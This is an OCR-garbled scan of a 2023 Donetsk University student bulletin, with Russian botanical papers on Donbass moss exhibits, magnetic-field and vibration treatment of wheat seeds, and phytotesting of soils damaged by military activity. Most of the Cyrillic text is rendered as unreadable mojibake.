17. Cadonos A.U., 3axapenkosa H.C. Jluarnoctrka Bo3ayxa B I'. JIOHEIKE 0 CIICKTPY CKYJIBITYP MOBEPXHOCTH
MBUIBIBI COPHO-PYAEPaJIbHBIX BUAOB pacTeHni // [IpoOiemMbl 3KOJIOTHH ¥ OXpaHbl MPUPObI TEXHOTEHHOTO
permoHa. — 2016. — Ne 1-2. — C. 18-24.

18. I'nyxoB A.3. Cocrosiaue nbuibiipl Tripleurospermum perforatum (Merat) M. Laipz u Cichorium intybus L.
TIPH 3aTPs3HEHAN OYB THKEIBIMU MeTaniamu // [IpombimurenHas 6oranuka. 2001. T 1. C. 84-87.

19. Cadonor A.M. MHaukammonHass OGoTaHWYECKas HKCIEPTH3a — OCHOBA JKOJOTMYECKOI0 MOHHTOPHHTA B
MPOMBIIIIEHHOM pernone // IIpo6ieMbl 5K0JIOTHH M OXpaHbl MPUPO/IBI TEXHOTCHHOTO pernoHa. — Jlonenk: —
JouHY. —2006. — Ne 6. — C. 19-31.

20. Safonov A. 1. Initial screening of seed bank of phytoindicators of technogenic pressure on edaphotopes in
Donbass // TIpo6JieMBl 3KOJIOTHH ¥ OXPaHbI MPUPOILI TEXHOTeHHOTO pernona. 2010. Ne 1 (10). C. 92-96.

21. Cadono A.W. UnenTudukanms HEKOTOPBIX POJAOB aCTPOBBIX 110 MATHHOJIOTHISCKAM OTTHCKaM // BecTHHK
Joneukoro HanpoHaiapHOro yHuBepcutera. Cepust A: EcrectBennbie Hayku. — 2021, — Ne 3—4. — C. 96-100.
22. CadonoB A.1. AHoManuu 3MOPHOHAJIBHBIX CTPYKTYp pacTeHuii-unankatopos Jlonbacca / PaznooOpasue

pacturensHoro mupa. — 2022. — Ne 3(14). — C. 5-18. https://doi.org/10.22281/2686-9713-2022-3-5-18

23. Kucenesa [I.B. [IprHINTIBI CO3MaHMS ITKAJI aHATOMO-MOP(OIOTHIECKOH MIIACTUIHOCTH (PUTOMHINKATOPOB
TeXHOTeHHOTO peruoHa // Jlonenkue urenus 2016: OOpazoBaHue, HayKa M BBI30BBI COBPEMEHHOCTH: MaTep.
| Mexnynap. Hayd. koH]. (Jorenk, 16-18 mas 2016 1.). T. 2. — Jonenk: U3n-so FODY, 2016. — C. 117-1109.

24. Txkauenko A.H. MHaukanuoHHas 3HAYMMOCTh MaJUHOJOTUYECKUX HKCIEPTU3 BUAOB BTOPHUUHOM OCEHHEH
peButammzanuun B Jlonbacce // BectHuk crymeHueckoro HaydHoro obmectBa ['OY BIIO "Jlonemkwii
HanuoHanbHbIH yHuBepcuter”. — 2022. — T. 1. — Ne 14. — C. 98-102.

USE OF PALYNOLOGICAL DATA IN THE ASSESSMENT OF INDUSTRIAL ECOTOPES OF
DONBASS (EXPOSITIONS)

Annotation. The paper presents the data of a demonstration experiment on the developments in the study of
pollen in a technogenically stressed region - Donbass. It has been established that as a result of the obtained data,
there is a possibility of exhibiting photographic material as an object of exhibition activity in the Donetsk region
and at international scientific and technical events, for example, at a forum held at a technical university.
Keywords: palynology, pollen, phytoindication, Donbass, ecological monitoring.
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V]IK 582.3 : 581.15 (477.60)
MOXOOBPA3HBIE JOHBACCA KAK OBBEKT BELICTABOUHOM PABOThI

bonoaps E.H.
Hayunwtit pykosooumens: Cagponos A.U., kano.ouon.nayk, 3zae.kagheopoit
oy BIIO «/IOHHY»

Annomayusi. PaccMOTpPEHBI BO3MOXKHOCTH HCIOJIB30BAHUS KOJUICKIMOHHBIX (OHAOB OpuoTekn Kadeapbl
OOTaHMKH M JKOJIOTHU JUIsl SKCIO3UIIMOHHON PaboThl U BBICTABOYHOM ACATEIBHOCTH HA MEXIyHApPOTHOM
Hay4YHOM (OpyMe M B HAYIHBIX Mporpammax JIOHEeIKOro HalHOHAIbHOTO YHHBEPCUTETA.

Knrouesvie cnosa: moxoobpasusle, puronHaukams, Jloadacc, Opnorexa, SKCIO3UIIHS.

BproOHOHTHI SBISAIOTCS OOBEKTOM MHOTHUX HAyYHO-HCCIIEOBATEIBCKUX paboT B
Jlonbacce 1Mo MHIMKAIMOHHOW 3Koyioruu [1], OmopazHooOpa3uio [2], MOHUTOPHHIOBBIM
nporpamMMaM [3], TakCOHOMUYECKHM UAcHTH(GHUKAMsIM [4, 5], BaxkHBI U1 OTMpECIICHUS
PE3UCTEHTHOCTH  OPraHU3MOB  Ha  CyONONyNALMOHHOM  ypoBHe [6] wu  jamus
¢duTocoszonormueckux HaOmoacHwid [7-9]. Takke OpHOOMOHTBI SBJISIOTCS YAaCThIO
oOpa3zoBarenbHOi nearenbHocTH B yHHBepcutTeTe [10, 11], BakHBI Kak IUAAKTHUECKUN
MaTepHal st O0TAaHUKO-3KOJIOTHYECKUX CHEeINATH3UPOBAHHBIX KypcOB Kadeapbl 00TaHUKH
u sxonoruu JJonHY ¢ akiieHTOM Ha COBpeMEHHbIE pEerHOHANIbHbBIC HaAY4HbIE pa3paboTku [12—
16]. Panee Hamu B pamkax paboTsl CTyIeHYECKOTO HAYYHOTO OOIIECTBa OMOIOTHYECKOTO
(bakynbpTeTa OCBEIIAJCS BOMPOC CO3JaHMsI OPUOTEKH M HMCIOJIb30BAHUS MOXOOOPa3HBIX B
KaueCTBE HaIJISIHO-WJUTFOCTPATUBHBIX dKCroHaToOB B [lonbacce [17-21], uro B utore craio
OCHOBaHUEM uis (OPMHUPOBAHHUS CIEUUATBHBIX CTEHIOB Ha MpoBoguMon B JloHerke
koH(pepeHumu (popyme) o HayuHbIx nepcrnektuBax Jonbacca B 2022 rony.

[ens paboThl — IpeACTaBUTH (PparMeHThI SKCIIOHATOB OPHOTEKH Kadeapbl O0TAHUKH U
DKOJIOTMM KaK OOBEKThl BBICTABOYHOW JesTenbHOCTH B 2022 romy mo OOTaHHKO-
9KOJIOTMYECKUM HCCIIEJOBAHUSIM.

[IpencraButenu MoxooOpasHbix 1 JloHOacca SBISIOTCA HE TONBKO OOBEKTaMU
OOTaHUKU-IKOJIOTUYECKUX pa3paboOTOK, HO M MOTYT paccMaTpuUBaThCcsl Kak OOBEKT
ACTETUYECKON IIEHHOCTH, YYUTBhIBas pa3HOOOpazue WIUIIOCTPATHBHOTO MaTepuana U3
Opuotexu kadeapbl OOTAaHUKU M SKOJIOTHH, HAallpUMep, Ha puc. | moka3aH auanazoH ¢popMm
KOpoOouek HEeKOTOphIX OprnoOuoHToB JloHbacca.

Puc. 1 — Paznoo0Opasue kopoOouek MOX00Opa3HbIX KaK AJIEMEHT ICTETHUECKOM
IIEHHOCTH TIPH pacCMOTPEHUH JOKYMEHTalbHOU (hoTorpadun
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Ha puc. 2 npencraBiieHbl WIUTIOCTPATUBHBIA M TEKCTOBBIM BapHaHT JKCIIOHATA O
(YHKIMOHATBHOM 3HAYUMOCTH HEKOTOPBIX BHJOB OpHOOMOHTOB B  BBICTABOYHOM
JIESATENBHOCTH Kadeapbl Al MPOBOJUMBIX HAYYHO-TEXHUYECKUX MEPONPUATUN B PErHOHE.
Mpl cnienuagbHO COXPaHWJIM TEKCTOBYIO YacTh KAaK 3JIEMEHT BBICTABOYHOM JEATEIBHOCTH,
MTOCKOJIbKY 3TO UMEET 3HaUeHHUE MPHU UACHTU(DUKALUY WLTIOCTPUPYEMOTo 00BEKTa.

Kadenpa «boTaHUKH B SKOJIOTHH»
'OV BIIO «/loHenku# HalTMOHAJIBHBIM YHUBEPCUTET»

A
Bpuoreka — 23TO CHCTEMaTH3HPOBAHHAA  KO/UIEKUHs  OpHOOHOHTOB
(MOX000pa3HbIX) — BBICIIMX CHOPOBBIX PACTCHUNW — BHIOB NPUPOAHONH (ropsI

Hentpansnoro HouOacca. [Mo coctosauio Ha 2022 1. KOMJIEKUUS HACHUTHIBAST 593
obpasua ¢ BuooBoH macHTudgukauueii 62 Bunos. Bepuduuuposanel Buael ¢ y3KOH
akoJoTHdIecKoll amrmutynoit: Homomallium incurvatum (Schrad. ex Brid) Loeske,
Campyliadelphus chrysophyllus (Brid.) R.S.Chopra, Dicranella cerviculata (Hedw.)
Schimp., Niphotrichum  canescens (Hedw.) Bednarek-Ochyra &  Ochyra,
Brachythecium albicans (Hedw.) Bruch et al., Ditrichum pussilum (Hedw.) Hampe.,
Didymodon fallax (Hedwig) R. H. Zander, Bryum funckii Schwaegr., Homalothecium
lutescens (Hedw.) H. Robins., Marchantia polymorpha L., Orthotrichum diaphanum
Brid., Brachvthecium velutinum (Hedw.) Schimp., Pleuridium acuminatum Lindb.,
Funaria hyvgrometrica Hedw. nnsi mepcnekTH()HKANMH BKIHOYCHHA B OXPAaHICMBIC
(kpacHOKHMkKHBIE) cniucku B Jloneukoi Hapoanoit Pecniybnuke.

b
Puc. 2 — DOkcnonar «bpuoteka [lonbaccan, 2022 r.:
A — WJUTIOCTPATHBHAS YacTh, b — TEKCTOBAasA 4acTh KCIIOHATA

Marepuan pucyHka 3 WUTIOCTpUpyeT (OPMBI HAKOIUICHHS W COXPAHHOCTH
Opuomarepuana (Kak JJIEMEHTOB B KOJUJICKIIMM OpPUOTEKH), YTO BAXKHO [UIS aHaIu3a
KOJUIEKIIMOHHOTO (oHAa. Puc. 4 oTpaxaeT cnenuduKy SKOJTOTUUECKUX CTPATETHil BUIOB.
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Puc. 3 — Dransl hopMUpOBaHUS SKCITO3UITUOHHON paObOTHI ISl OPHOTEKHU:

A —nonesble cOOpbl, b — KOHBEPTHI C ITUKETKAMHU

= Bpuonatnents! (BIT)
= BIT + BpHOYKCIUIepeHThI
% BIT + BpHOBHONEHTHI

Puc. 4 — Pa3nenenue npeacraButeneii OppoOMOHTOB MO Pa3HBIM SKOJIOTHUYECKUM
CTpaTerusiM BbDKUBAHUS WK (POPMUPOBAHUS YCTOMYMBOW LIEHOMOMYSIUHU B JIOKAJIUTETE

OTtaenpHbIE 3JIEMEHTHI CTPYKTYP TakKKe MPEACTaBISAIOT cOO0M MHTEpec, HapuMep, B
MPOBEACHUU HKOJOTUYECKON AKCIEPTU3bl MO CHEUUATbHOM TUArHOCTUYECKOW IIKalle IS
OTJIETLHBIX TPYII KJIETOK, TKAHEH WIJIM YacTel OpraHoB pacTeHui (puc. 5.).

31



Bectauk CHO JIOHHY. Bpimn. 15. Tom 1: EcrectBennsie Hayku. — 2023.

o O YHKIMOHAIBHO-
Har JIAAHO-CPABHUTCIIbHBIN JUAIIA30H
Buz CTPYKTYP (OT KOHTPOJIS K OIBITY) DKOJIOTITHECIHE
PYKTYP p y XapaKTepPUCTUKU
. s . HU3MCHCHHUC
Syntrichia ruralis MO TALII
(Hedw.) F. Weber & coKha egﬂe’
Mohr patll
JKHU3HECHHOI'O ITUKJIa
TpaHnchopmanus
Bryum caespiticium CKYJIBIITYPbI
Hedw. aJIOKCUAIbHOM

IIOBEPXHOCTH JIMNCTaA

MMPO3CHXUMU3ALUA

Ceratodon purpureus
KJICTOK BAOJIb

(Hedw.) Brid .
I_[eHTpaJ'IBHOI/I KHUIIKHU
HN3MCHCHHUC
IIMIrMCHTAaIluH,
. COKpaluicHuce
Orthotrlchum )KI/I3H6HIz-I(;JI-‘IO OUKJIa
speciosum Nees ’
p Hp03eHXI/IMI/ISaI_II/I$I

KJICTOK BAOJIb
HeHTpaﬂBHOﬁ KHUIKHU

Puc. 5 — Jlnarnoctuueckast Tabyviia BbISIBICHHBIX CTPYKTYPHBIX XapaKTEPUCTHK

Taxum 00pa3zom, 1Mo SKCIO3UIIMOHHON PadOTe MOXKHO YCTAaHOBUTH, YTO MOXOOOpa3HbIe
B Jlonbacce sABNAIOTCS 00s3aTENBbHOM YaCThIO 3apacTaHMs SKCTPEMAJbHBIX TEXHOT'€HHBIX
9KOTOIOB, MECT C BBICOKMM YPOBHEM IPOMBIIUIEHHOTO 3arps3HEHHs, YTO HWHOT/AA
IPOTHUBOPEYUT  pacCHpoOCTpaHEeHHOW  uHpopmanmuu 00  ysI3BUMOCTH  Bcel  3ITOH
TaKCOHOMMYECKON  Kareropuu. BaxxkHo B TakMX  3KCHepTU3aX  MPOBOAUTH
BUJOCHENM(PHUYECKYIO OLIEHKY U CPAaBHUBATh BU/Ibl PA3HBIX AUANA30HOB YCTOMYMBOCTH.
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YIKS77.3

BJIMAHUE HEPEMEHHOI'O MAI'HUTHOI'O 110151 U BUBPAIIUU HA
MOP®OMETPHUIO 1 OHTOI'EHE3 TRITICUM AESTIVUM L.

byuunckan A. C.
Hayunwtit pykosooumens: Kopnuenko B.O., kano.ouon.nayk, cmapuinii npenooasame’is
roy BIIO «/IOHHY»

Annomayus: B nmaHHO# paboTe HCCICAOBAHO BIHMSHHE MEPEMEHHOIO MArHUTHOTO MMOJS Ha OHTOTCHE3 U
MOP(HOMETPHIO PAaCTEHHH CEeNbCKOXO3SMMCTBEHHONW IEHHOCTH Ha mpuMepe Triticum aestivum L. Ouenwnmu
BJIMSIHHE COYETAHHOro JeicTBusi nepemenHoro maruutHoro moist (f = 40 T'm u 50 T') ¥ HU3KOYACTOTHOU
Bubpanuu (f = 10 I'n) Ha oHTOreHEe3 ¥ MOP()OMETPHIO MIIEHHIBI 03UMOIA.

Knrouesvie crosa: Triticum aestivum L., MoguuKanus cBOWCTB XKHUBBIX CHCTEM, OMOTECTHPOBAHUE, MATHUTHOE
ToJie, BUOpaIus.

BBenenne. B Hacrosimiee  BpeMs  BONPOC  NIPEANOCEBHONM  00pabOTKH
CEJIbCKOXO3SIICTBEHHBIX ~KYJIBTYp CTal KpalHe akTyalbHbIM. JlaHHOM mpoOiemoit
3aHUMAIOTCS y4eHble-Ouonoru (O6oTaHuku, ¢usznonoru, 6mopusmku), (GUIUKUA, XUMHKH,
WH)KEHEPBI, CICIHAINCThl B O0JIACTH CEJILCKOTO XO3SIMCTBA M TeXHHYECKMX Hayk [1-9].
OIHUM U3 MEPCHICKTUBHBIX METOIOB 00paOOTKH, M0 MHEHHUIO psaa creruaiuctos [10-12],
ABJIAETCS TpEANoceBHas 00paboTKa CeMsSH I[EpEeMEHHbIM MAarHuTHbIM TnojieM. Takas
00paboTKa UMEET P/ MPEUMYIIECTB MEPe] IPYTUMH HIEKTPOTEXHOJIOTUYECKUMU METOIAMU,
HampuMep, 3TO HKOHOMHYECKAs CTOMMOCTb OOpaOOTKH, 3KOJOrmyeckas Oe30MacHOCTh
TEXHOJIOTUM M OTHOCUTEIIBHO MPOCTOM CIOcoO MNPUMEHEHHS METOAOB NPEeANOCeBHOMN
o0paboTku. BHenpenue B TPOU3BOACTBO TMOJOOHOTO HKOJOTHYECKH YHCTOTO METOJa
00paboTKu 00YCIIOBIMBAET HEOOXOJAMMOCTh YCTAHOBJIEHUS MEXaHHM3Ma BO3JICUCTBUS
MEePEMEHHOI0 MarHUTHOT'O TI0JIsl Ha cEMEeHa U onpeieNieHus Hanbosee 3¢ (heKTUBHOTO pekuMa
00pabOTKH CeNbCKOXO03SIMCTBEHHBIX KYIbTYp [13].

B cBs3M C BhIIECKAa3aHHBIM HEJbI PadOThl SBISJIOCH HMCCIEAOBAHHUE BIIMSIHMS
COYETAHHOI'O JIEUCTBUS MEPEMEHHOT0 MAarHUTHOTO IMOJIS M BUOpAallMM Ha POCT U pa3BUTHE
TILIEHULBI O3UMOU.

1. Onenuth BIusiHUE nepeMeHHoro marautHoro noist (B=1 mTn; f= 40, 50 T'u) u
BuOpanuu (f=10 ') Ha OHTOreHeTHYECKHE M3MEHEHHUS IIPOPOCTKOB MIIEHUIIBI 03UMOIA.

2. OLeHUTh COYeTaHHOE JeICTBHE MEPEMEHHOI0 MAarHUTHOTO TMOJIsI U BUOpAlMu Ha
Mop¢oMeTpHUYEeCcKHe NapaMeTpbl HAJ3eMHON YacTH U KOPHEBOM CHCTEMBI MIIEHUIIBI 03UMOI
Ha paHHUX CTAJUSIX OHTOI€HE3a.

MarepuaJjbl 1 METOABI

B  ormene  (Qu3MKM ~ MarHMTHBIX ~ SIBJIEHUH U BBICOKOTEMIIEpaTypHOMU
CBEPXIIPOBOAMMOCTH HAy4YHO-HCCIIEJOBATENbCKOM 4YacTh JIOHEHKOro HalMOHAJIbHOTO
YHUBEpCUTETA OblIa CIPOSKTHPOBAHA MATrHUTHASI YCTAaHOBKA ISl 00pabOTKH OMOJIOTUUECKHUX
00beKTOB (puc. 1). yHKIIMOHAIBHYIO CIIOCOOHOCTh MarHUTHOM YCTaHOBKH OO€CHEUMBaET
pa3paboTaHHBIM, COOPAaHHBIM W HUCIBITAHHBIN Pa0OYNii MaKkeT MCTOYHHWKA TOKa C BBICOKHM
BbIXOAHBIM corpotuBieHreM (UTYH), paboTaromuii B KIIFOYEBOM PEKUME.

Cama sKcriepyMeHTa IbHasi MarHUTHasl YCTaHOBKA BKJIFOYAeT B ceOst aBe kaTymku (1),
ocrmiorpag ¢ moMOIIbI0 KOTOPOT'O MbI OTIPEIENISIN XapaKTePUCTUKU MarHUTHOTo 1o (2),
B KOTOPOM IIPOUCXOIUT 00JTydYeHUE CEMSIH; TeHepaTop CUTHAJIOB crenuanbHoil popmbl ['6 28
(3) (ocobo BaskeH IpM MOCTAHOBKE 3a/lad C PA3IUYHBIM THUIIOM BBIXOJHOTO CUTHajla) U
HMCTOYHHK TOKa (4) ¢ BEICOKUM BBIXOIHBIM conpoTuBieHueM (MTYH).
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Puc. 1 — BHemHmii Buj ycTpoiicTBa 1o 00paboTKe ceMsH pacTeHUH epeMEHHBIM
MarHUTHBIM I10JIEM

OKCHEpUMEHTAJIHBIE HCCIIEIOBAHUS BIMSHMS MAarHUTHOIO IIOJII Ha DHEPTHUIO
[popacTaHus M CHOCOOHOCTh MpOpacTaHHsl 3€pHa MPOBOAWIM C THIeHuued. Bpems
obnyuenust — 1 yac. CemeHa mpopamuBaiv B yamikax [leTpu B TeueHMM necsiTH JHEH.
[ToBTOpHOCTH OMBITA OBIIA TPEXKpaTHAs. B Kakq0l OBTOPHOCTH BHICEBAIH MO 25 ceMsH,
MIOCEB POM3BEININ B TOT K€ JIeHb 1ociie 00yueHus. Vi3Mepsiiu UIMHY KOpelka 1 popocTKa
Ha JeCATbIN JIeHb AKcnepuMeHTa. [1oauB npou3BOAMIN TOJIBKO AMCTUIUIMPOBAHHON BOJIOM.
Kaxnplii 1eHb B TeueHHe JecsATH JHEH NpoBOAMIM TIIATEIbHOE HaOIIOJEHUE 3a
npopoctkamu. CeMeHa NIIeHUIIbI ObUIM NOJIEIeHbI Ha 6 TPpYII:

I'pynma Ornucanne yciuoBuil 00paboTKu 00pa3IioB:
| be3 BausHuMa BuOpanuu W MarHuTHOro mnoussd. IlonmuB TOJBKO
JVCTUJUIMPOBAHHON BOJIOM.
I [Tapametpsl BuOpanuu: feusp=10 'y
Il [MTapametpsr mosst: B=1 MTi; friemn=50 T'y;

v [Mapamerpsr nonst: B=1 mMTn; fremn=50 I'n; mapamerps! BuOpanuu:
fBHGpZIO FH

\ [Tapametpsr nonst: B=1 mTa; fremn=40 ['m;

VI [Mapametpsr nosst: B=1 mTi; friemn=40 I'ti; mapameTpbl BUOpaiuu:
fBusp=10 I'ny

OreHKa OHTOTEHETHYECKUX WM3MEHEHHH ¥ MOP()OMETPUYECKHX IapaMeTpOB
MPOM3BOAMIACH Ha JeCAThie CYTKH. J[s pacuera cpeqHHMX 3HAYCHHH W CTaHIApTHOTO
OTKJIOHEHHS HCIOIb30Baiu nmporpammy Microsoft Excel.
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Pe3yabTaTsl cciieloBaHU M UX 00CYyKIeHHe

DHepruro pocta ceMsiH HaOmroaanu Ha 10-ii 1eHp dkcnepuMenTa. Bee nanHbie ObUTH
3a”HeceHsl B TaOy. 1. HaOmrogenuwe mokaszano, yro cemeHa Ha 10-Ml IeHb SKCIIEpUMEHTa
HaXOJWJIUCh B ABYX (a3zax: HE MPOPOCTH U BCXOJIBI.

Tabmuna 1 — OHTOreHeTHYeCKUEe U3MEHEHUS MIICHULBI 03UMOI B Pa3IMYHbBIX CEPUX
HKCIEPUMEHTA.

®a3pl OHTOrCHE3a
I'pynma He npopocio ‘ Bcexonpl, 1 nuct
KomnuuectBo, %

I 40 60

| 32 68

1 40 60
v 40 60

Vv 8 92
VI 12 88
[Tpumeuanue: | — konTpons, || — Bubpanus 10 I'n, 1 — ITeMII 50 T'n., IV — IleMII

50 ' + Bu6panus 10 ', V rpynma — 40 ., VI rpymma — [TeMIT 40 I'np + Bubparms 10 [,

60% TIPOPOCTKOB KOHTPOJIBHOM IPYIIBI HAXOAMIHUCH B cTaauu 1 muct. s I rpymmst
— 32% o0pa3uoB He npopociu, a 68% Haxoauuck B ctaguu Bexozsl (1 muct). B I rpynmne
40% ne npopocinu, a 60% pacteHuil HaxoAWIMCh B cTaguu Bcxoasl; y [V rpynnst — 40% He
npopociu, 60% Bexozasl; V rpynna — 8% He npopociu, 92% Bexoasl, VI rpynna — 12% He
npopocin, 88% Bcxobl. B utore, npu orieHKe OHTOT€HETUYECKUX U3MEHEHUH, YCTaHOBUIIH,
YTO CTUMYIHpYOIIni 3 ekt Habmroaanu ToasKko B rpymme V (+32%) u VI (+28%).

B xone nanpHeWIMX HCCIEAOBAHUN, Mbl OLEHWIN MOPPOMETPHUIO IOTYYEHHBIX
MOJUGUIIMPOBAHHBIX 00pa3loB. Pe3ynbTaTel n3MepeHuil 3aHeceHs! B Tabnuue 2.

Tabnuna 2 — Hopmuposannslie 31auenus (1,00 = 100%, KOHTpoJIb) cpeaHeN JUITMHBI
(1, cm) st cTebIist 1 KOPHS 03UMOI MIIICHUIIBI

['pymma Lxoprs Lcreons

I 1,0 1,0

I 0,79 0,79

i 0,84 0,90

v 0,63 0,72

\ 0,81 0,85

Vi 0,88 1,43

[Tpumeuanue: | — koutposs, || — Bubpauus 10 I'u, 11 — [TeMII 50 I'n., IV — ITeMII

50 'y + Bubpanus 10 I'n, V rpynna — 40 I'u., VI rpynna — [IeMIT 40 I'np + Bubparus 10 [,

Kak BugHO 13 Tabmuis! 2 U pucyHkKa 2 HHrHOupyomui 3¢ (exT Kak s Haa3eMHON
qyacTu ceMstH (ctebsast), Tak u kopHs nposiuiics B 1V rpynmne (ITeMIT 50 I'p + Bubparus 10
I'm). 3HaueHwWs] TOCTOBEpHO OBUIM HWKE KOHTPOJBHBIX, JJISI HAJ3€MHOW YaCTH CEMEHU U
KOPHEBOM CHUCTEMBI.

36



Bectauk CHO JIOHHY. Bpimn. 15. Tom 1: EcrectBennbie Hayku. — 2023.

1,8
1,6

1,4 I

1,2
1,0 14
0,8 1 I It l I I I I+ I— KopHeBas cuctema
GFJER | @R | R AR ASE | EE |8 Crebenp

o4+ R HB-RHR -
(PJEE | AR R AR | SR AR
0,0

JlnvHa, OTH. ej.

I I i v v Vi
I'pynna

Puc. 2 - 3aBucUMOCTb OTHOCUTENBHOM JAJIUHBI CTEOIIS U KOPHS
[Tpumeuanue: | — konTpons, I — Bubpanus 10 I'n, 1 — ITeMII 50 T'n., IV — IleMII
50 ' + BuOpanus 10 I'n, V rpynma — 40 ., VI rpynma — [TeMIT 40 I'n + Bubparms 10 [,

Bo BTOpOI#i rpynne cHM>KEHNUE TUHBI CTEOIIS U AJIMHBI KOPHEBOM CUCTEMBI COCTABUIIO
21%. B Il rpynne — 16% amuns! ctedist u 10% kopHeBoii cuctemsl. B rpynmne |V nabmonanm
UHTHOUpyroumi 3¢ ¢peKT, KOTophlid cocTaBmil -37% IuHbI cTeOs U -28% AJIMHBI KOPHEBOU
cucremsl. B rpynne V — camkenue ouenmw B 19% u 15% cooterctBenHo. [ VI rpynmst
Ha0J1t0/1a11 HEOOIbIIOE CHUKEHUE JUTUHBI cTe0s (-12%) 1 3HAUYUTENbHBIN CTUMYIHPYIOIIHUH
s¢dexT Ha KopHeBoii cucteme B 40%.

BriBoabI

Bb110 ycTaHOBIIEHO OHTOT€HETHUYECKOE H3MEeHEeHUe Ha 10-e cyTKH mocie BO3AeHCTBUS
[IeMII u BuOpanuu Ha MIIEHUIY O3UMYK. 3HAYUTEIBHBIA CTUMYIHUPYIOMUNA 3(pdeKT
HaOMIOJaIM B TPYMIax C 4acTOTOM mepeMeHHoro MmarHuTHoro mois 40 I'm (+32%) u
couetanHoro Aevictus [1eMII 40 ' u Bubpanuu 10 I' (+28%).

[Ipu orenke MOphOMETPUHN HAJI3EMHOMN YaCTH U KOPHEBON CHCTEMBI CEMSTH TIIICHUIIBI
03UMOM YCTaHOBWJIM, YTO MHTHOMpYIOIIee AeicTBre mposiBUIoCk A rpynm |-V B cpennem
Ha 10-20% (mns xopHs), u 15-40% (s crebns). MakcumanabHOE CHUKEHWE ObUIO ISt
00pa3IoB U3 YeTBEPTOU rpynmbl -37% nauHbI cTeds u -28% ATMHBI KOPHEBOH cucTeMsl. Jliis
VI rpynmnel HaGmoganu HeOONbIIOE CHHKEeHUE IIUHBI cTeOas (-12%) M 3HaunuTeNbHbBIN
cTumynupyromuit 3gpdext Ha kopHeBoi cucreme B 40%.
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VJIK 581.1 :581.15 : 631.45 : 355.422 (477.60)

JUATHOCTHKA U PUTOTECTUHPOBAHUE 3JJAP®OTOIIOB JTOHBACCA
BCJIIEACTBUE MUJINTAPU3AIIUU PETHOHA

TI'ynuenxo U.A.
Hayunwuii pykosooumens: Cagponos A.U., kano.ouon.nayx, 3ae.kageopoi
oy BIIO «/[OHHY»

Aunomayus. B nanHoi pabore cTaBHUTCS 3a/1a4a BBISICHUTB BIMSIHUE OOEBBIX NEHCTBUN Ha 57a(OTOIBI IyTEM
¢urorectupoBanus. MccaenoBanue oToOpaHHBIX MMOYB OBIJIO NPOW3BENEHO B roponax Jlonenk, Makeeska,
axTépck m Wnosaiick. YcraHoBieHbl HeKoTOpble 3(dexTsl Bo3aelcTBUs TIyOOKO#l TpaHchopMayu
naHmadra Ha COCTOSIHUE PACTUTEIBHBIX OPraHM3MOB.

Kniouegvie crosa: Jlonbacc, Munutapusanus, 31aoTol, (UTOTECTUPOBAHUE, SKOJIOTUUECKUI MOHHUTOPHHT,
(bUTOMHANKALIHS.

C Becusl 2014 r. Ttepputopust [lonOacca moaBepraercsi HACHIBCTBEHHOW CHIIE
MWJIATapU3alud, KOTOpas MPOAOJDKAeTCs 10 CerofHsIHero AHs. B cucremax maccoBoit
nHpOpMAIMK  COJIEPXKATCS MHOTOYUCIICHHBIE JaHHBIE O TOKCHYECKHUX TTOCIEICTBUAX
MHTEHCUBHBIX apTHIIIEPUICKUX 0OCTpENIOB B pailoHE 3amoBeAHbIX Tepputopuil /Jonbacca,
YTO BHOCUT CBOM TpaHChopmupyomue 3PQeKTsl Ha €CTECTBEHHBIH IMPOIECC pPa3BUTHUS
IPUPOJHBIX IKOCUCTEM. Tak, COBpeMEHHbIE BOCHHBIE ICHCTBUS SBIAIOTCA MPUYUHON rubenu
JIOJEN 1 CO3/IaHHBIX MU MaTepUAIbHBIX LIEHHOCTEH; HAHOCAT ylepO NpUpoIHON cpene, B
YaCTHOCTH, Pa3pyLIatOT OYBEHHO-PACTUTENbHBIN NOKPOB. CHapsIbl BBIBOPAUHBAIOT THICSYU
KyOOMETpOB T'pYyHTa, B IIOYBY IOMAJAIOT UX OCKOJIKM, XUMHUYECKHE IMPOJIYKThl B3PHIBOB.
HaubGonpmmii ¢paktudeckuii naTepec oocyxaaercs s anementoB Cu, Mn, Fe, Pb, Cd, Cr,
Sn, Ni, Zr, Co, Sr, Zn. Takas cutyanus TpeOyeT MPOBEACHHS YYCHBIMH SKOJIOTHUYECKOTO
MOHMTOpPHHIa B pervoHe [l], ompeneneHuss HMHIPEOUEHTHOTO COCTOSHUS TOKCHYECKHX
3JIEMEHTOB B IPUPOJHBIX cpeaax [2—5], peakuuu pacTeHuid Ha GakTopsl 3arps3HenHus [6—8],
KapTorpapuueckoro aHajaus3a 3TUX JaHHBIX [9], oOcyxaeHus B pamkax oOpa3oBaTeIbHOTO
nporiecca B yHuBepcuteTe [10] Ha OCHOBaHMHM MHOTOIIEIEBOM KOJIOTHYECKOM IKCIIEPTU3HI B
JlonOacce u conpeebHBIX TEPPUTOPHIA C BBICOKUM ypoBHEM ypOanuzarmu [11-17].

AKTYaJIbHOCTb MCCIIEIOBAHUS COCTOUT B HEOOXOIMMOCTH IOJIy4EHHUS albTepHATUBHON
uHboOpMallUd O TOCIEACTBUAX BOEHHOIO KOH(MIMKTa Ha 3AadoTonbl, AajbHellee eé
HCIIOJIb30BaHUE C LENbI0 OINpEAENEHUs] YYBCTBUTEIBHOCTU PACTEHUH K TOKCHUYECKOMY
BO3JEHCTBUI0O W YMEHBUIECHUIO DJKOJIOTMYECKOM ONACHOCTM B 30HaX MOBBILIEHHOIO
AQHTPOIIOTEHHOTO BIUSHUS BCJIEICTBUE MUJIMTAPU3ALIIH.

Ienp paboThl — MPOBECTU aHAIM3 COCTOSIHUS TPAaHCPOPMHUPOBAHHBIX 3Aa(OTOIOB,
MOBPEXKICHHBIX OT OOEBBIX JEMCTBUI B Ipoliecce 3apacTaHusl BOPOHOK, OKOIOB, OJIMHIaXen
U APYTUX BOCHHO-(DOPTUDHUKAIIMOHHBIX COOPYKEHUH; YCTAHOBUTD CIIELU(PHUECKUI YPOBEHb
(DUTOTOKCUYHOCTH MpPH E€CTECTBEHHOM 3apacTaHMM IMOBPEXJACHHBIX YYaCTKOB METOJ0M
¢buTOTECTUPOBAHMUSL.

Jlis  TexXHOreHHO TpaHcpopMupoBaHHOTro JloHOacca BaXHBIM — HMHJIUKATOPOM
HapyIIEHHOCTH 31a(OToNa ABISETCA YaCTOTa BCTPEUAEMOCTH TepPaTHBIX MposiBieHui [18] y
pacTeHMii, YTO TaKkke BecbMa MH(MOPMATHBHO U JUISl U3YYEHHUS IPYIHMX TEPPUTOPHUHA MOL
BO3JICUCTBUEM DPa3HbIX (akTOpOB (QOPMHUPOBAHUS MPHUPOIHBIX coobmiectB [19].
